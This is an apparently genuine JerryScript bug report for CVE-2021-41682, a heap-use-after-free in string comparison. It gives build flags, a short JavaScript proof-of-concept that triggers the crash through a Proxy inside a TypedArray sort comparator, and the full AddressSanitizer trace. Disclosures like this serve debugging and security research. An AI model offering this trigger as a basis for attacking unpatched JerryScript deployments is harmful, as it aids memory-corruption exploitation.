Headline
CVE-2021-41682: heap-use-after-free in ecma_compare_ecma_non_direct_strings · Issue #4747 · jerryscript-project/jerryscript
There is a heap-use-after-free at ecma-helpers-string.c:1940 in ecma_compare_ecma_non_direct_strings in JerryScript 2.4.0
JerryScript revision
3bcd48f
Build platform
Ubuntu 20.04.2 LTS (Linux 5.11.0-25-generic x86_64)
Build steps
./tools/build.py --clean --debug --compile-flag=-fsanitize=address \
--compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer \
--compile-flag=-fno-common --compile-flag=-g --strip=off \
--system-allocator=on --logging=on --linker-flag=-fuse-ld=gold \
--error-messages=on --profile=es2015-subset --stack-limit=20
Test case
var a = new Int32Array(256);
try {
a.sort(function() {
var o = new Proxy(this, {
has: print,
get: function() {
a = true;
return 30;
}
});
var result = "";
for (var p in o)
result += o[p];
});
assert(false);
} catch (e) {
assert(e instanceof TypeError);
}
Output
[object Object] gc
[object Object] print
[object Object] resourceName
[object Object] createRealm
[object Object] a
=================================================================
==31426==ERROR: AddressSanitizer: heap-use-after-free on address 0xf50009d4 at pc 0x5666cddf bp 0xffd046c8 sp 0xffd046b8
READ of size 4 at 0xf50009d4 thread T0
#0 0x5666cdde in ecma_compare_ecma_non_direct_strings /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:1940
#1 0x5666cdde in ecma_string_compare_to_property_name /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:1809
#2 0x5668600f in ecma_property_hashmap_find /home/jerryscript/jerry-core/ecma/base/ecma-property-hashmap.c:396
#3 0x56677d38 in ecma_find_named_property /home/jerryscript/jerry-core/ecma/base/ecma-helpers.c:693
#4 0x566c34f9 in ecma_op_object_find_own /home/jerryscript/jerry-core/ecma/operations/ecma-objects.c:701
#5 0x566c3a26 in ecma_op_object_find /home/jerryscript/jerry-core/ecma/operations/ecma-objects.c:850
#6 0x56795f09 in ecma_op_object_bound_environment_resolve_reference_value /home/jerryscript/jerry-core/ecma/operations/ecma-reference.c:238
#7 0x567967b0 in ecma_op_resolve_reference_value /home/jerryscript/jerry-core/ecma/operations/ecma-reference.c:387
#8 0x56737821 in vm_loop /home/jerryscript/jerry-core/vm/vm.c:1098
#9 0x5675555e in vm_execute /home/jerryscript/jerry-core/vm/vm.c:5231
#10 0x56755bf1 in vm_run /home/jerryscript/jerry-core/vm/vm.c:5338
#11 0x567348f1 in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:305
#12 0x56641ca6 in jerry_run /home/jerryscript/jerry-core/api/jerry.c:592
#13 0x5663a132 in main /home/jerryscript/jerry-main/main-jerry.c:173
#14 0xf75c5ee4 in __libc_start_main (/lib32/libc.so.6+0x1eee4)
#15 0x56639324 in _start (/home/jerryscript/build/bin/jerry+0x1d324)
0xf50009d4 is located 4 bytes inside of 20-byte region [0xf50009d0,0xf50009e4)
freed by thread T0 here:
#0 0xf79c8814 in __interceptor_free (/lib32/libasan.so.5+0x113814)
#1 0x566ec245 in jmem_heap_free_block_internal /home/jerryscript/jerry-core/jmem/jmem-heap.c:477
#2 0x566ec384 in jmem_heap_free_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:691
#3 0x56755e06 in ecma_dealloc_string_buffer /home/jerryscript/jerry-core/ecma/base/ecma-alloc.c:236
#4 0x56669ddb in ecma_destroy_ecma_string /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:1011
#5 0x566698c7 in ecma_deref_ecma_string_non_direct /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:949
#6 0x56674f32 in ecma_free_value /home/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c:1140
#7 0x5673251e in vm_stack_context_abort /home/jerryscript/jerry-core/vm/vm-stack.c:154
#8 0x567338fc in vm_stack_find_finally /home/jerryscript/jerry-core/vm/vm-stack.c:460
#9 0x56753a8a in vm_loop /home/jerryscript/jerry-core/vm/vm.c:4899
#10 0x5675555e in vm_execute /home/jerryscript/jerry-core/vm/vm.c:5231
#11 0x56755bf1 in vm_run /home/jerryscript/jerry-core/vm/vm.c:5338
#12 0x566b6029 in ecma_op_function_call_simple /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1130
#13 0x566b6d44 in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1370
#14 0x56696f43 in ecma_builtin_typedarray_prototype_sort_compare_helper /home/jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:1103
#15 0x5676ecf0 in ecma_builtin_helper_array_merge_sort_bottom_up /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-helpers-sort.c:48
#16 0x5676ef2a in ecma_builtin_helper_array_merge_sort_helper /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-helpers-sort.c:111
#17 0x56697594 in ecma_builtin_typedarray_prototype_sort /home/jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:1180
#18 0x5669b416 in ecma_builtin_typedarray_prototype_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/typedarray/ecma-builtin-typedarray-prototype.c:1872
#19 0x5669154d in ecma_builtin_dispatch_routine /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1454
#20 0x566917e2 in ecma_builtin_dispatch_call /home/jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1486
#21 0x566b6394 in ecma_op_function_call_native /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1194
#22 0x566b6d63 in ecma_op_function_call /home/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1374
#23 0x5673673a in opfunc_call /home/jerryscript/jerry-core/vm/vm.c:799
#24 0x567555c3 in vm_execute /home/jerryscript/jerry-core/vm/vm.c:5237
#25 0x56755bf1 in vm_run /home/jerryscript/jerry-core/vm/vm.c:5338
#26 0x567348f1 in vm_run_global /home/jerryscript/jerry-core/vm/vm.c:305
#27 0x56641ca6 in jerry_run /home/jerryscript/jerry-core/api/jerry.c:592
#28 0x5663a132 in main /home/jerryscript/jerry-main/main-jerry.c:173
#29 0xf75c5ee4 in __libc_start_main (/lib32/libc.so.6+0x1eee4)
previously allocated by thread T0 here:
#0 0xf79c8c17 in __interceptor_malloc (/lib32/libasan.so.5+0x113c17)
#1 0x566ec041 in jmem_heap_alloc /home/jerryscript/jerry-core/jmem/jmem-heap.c:254
#2 0x566ec0b1 in jmem_heap_gc_and_alloc_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:291
#3 0x566ec13e in jmem_heap_alloc_block /home/jerryscript/jerry-core/jmem/jmem-heap.c:324
#4 0x56755de3 in ecma_alloc_string_buffer /home/jerryscript/jerry-core/ecma/base/ecma-alloc.c:222
#5 0x566661cc in ecma_new_ecma_string_from_utf8_buffer /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:264
#6 0x566661cc in ecma_new_ecma_string_from_utf8 /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:385
#7 0x56645ec0 in jerry_create_string_sz /home/jerryscript/jerry-core/api/jerry.c:2688
#8 0x56645e61 in jerry_create_string /home/jerryscript/jerry-core/api/jerry.c:2671
#9 0x567db0a9 in jerryx_handler_register_global /home/jerryscript/jerry-ext/handler/handler-register.c:32
#10 0x5663b483 in main_register_global_function /home/jerryscript/jerry-main/main-utils.c:42
#11 0x5663c0d9 in main_init_engine /home/jerryscript/jerry-main/main-utils.c:291
#12 0x566396c4 in main /home/jerryscript/jerry-main/main-jerry.c:72
#13 0xf75c5ee4 in __libc_start_main (/lib32/libc.so.6+0x1eee4)
SUMMARY: AddressSanitizer: heap-use-after-free /home/jerryscript/jerry-core/ecma/base/ecma-helpers-string.c:1940 in ecma_compare_ecma_non_direct_strings
Shadow bytes around the buggy address:
0x3ea000e0: 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00 00 fa
0x3ea000f0: fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00
0x3ea00100: 00 00 fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa
0x3ea00110: 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00 00 00
0x3ea00120: fa fa fd fd fd fa fa fa fd fd fd fa fa fa 00 00
=>0x3ea00130: 00 fa fa fa 00 00 00 00 fa fa[fd]fd fd fa fa fa
0x3ea00140: 00 00 00 00 fa fa fd fd fd fa fa fa 00 00 00 fa
0x3ea00150: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x3ea00160: 00 fa fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
0x3ea00170: 00 00 00 00 fa fa 00 00 00 fa fa fa 00 00 00 fa
0x3ea00180: fa fa 00 00 00 fa fa fa 00 00 00 fa fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==31426==ABORTING